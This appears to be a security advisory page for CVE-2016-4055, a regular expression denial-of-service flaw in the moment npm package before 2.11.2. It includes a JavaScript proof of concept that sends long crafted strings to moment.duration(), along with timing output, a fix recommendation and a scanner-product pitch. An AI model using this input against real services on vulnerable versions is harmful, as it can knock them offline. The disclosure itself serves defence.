MediumGHSA-87vv-r9j6-g5qvCVE-2016-4055
Regular Expression Denial of Service in moment
Published 24 Oct 2017 · Updated 8 Nov 2023
Affected package
momentnpm
- Affected
- <2.11.2
- Fixed in
- 2.11.2
Update to the fixed version for your release line, for example:
npm install moment@2.11.2Details
Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().
Proof of concept
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}Results
$ node moment.js COUNT: 20000 LENGTH: 20002 [ 0, 618931029 ] COUNT: 30001 LENGTH: 30003 [ 1, 401413894 ] COUNT: 40002 LENGTH: 40004 [ 2, 437075303 ] COUNT: 50003 LENGTH: 50005 [ 3, 824664804 ] COUNT: 60004 LENGTH: 60006 [ 5, 651335262 ]
Recommendation
Please update to version 2.11.2 or later.
Is GHSA-87vv-r9j6-g5qv in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected moment, and gives you the command that fixes it.
References
- Advisorynvd.nist.gov/vuln/detail/CVE-2016-4055
- Advisorygithub.com/advisories/GHSA-87vv-r9j6-g5qv
- Packagegithub.com/moment/moment
- Linklists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@%3Cdev.flink.apache.org%3E
- Linklists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@%3Cuser.flink.apache.org%3E
- Linklists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@%3Cuser.flink.apache.org%3E
- Linklists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@%3Cuser.flink.apache.org%3E
- Linkwww.npmjs.com/advisories/55
- Linkwww.tenable.com/security/tns-2019-02
- Linkwww.openwall.com/lists/oss-security/2016/04/20/11
- Linkwww.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
- Linkwww.securityfocus.com/bid/95849
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.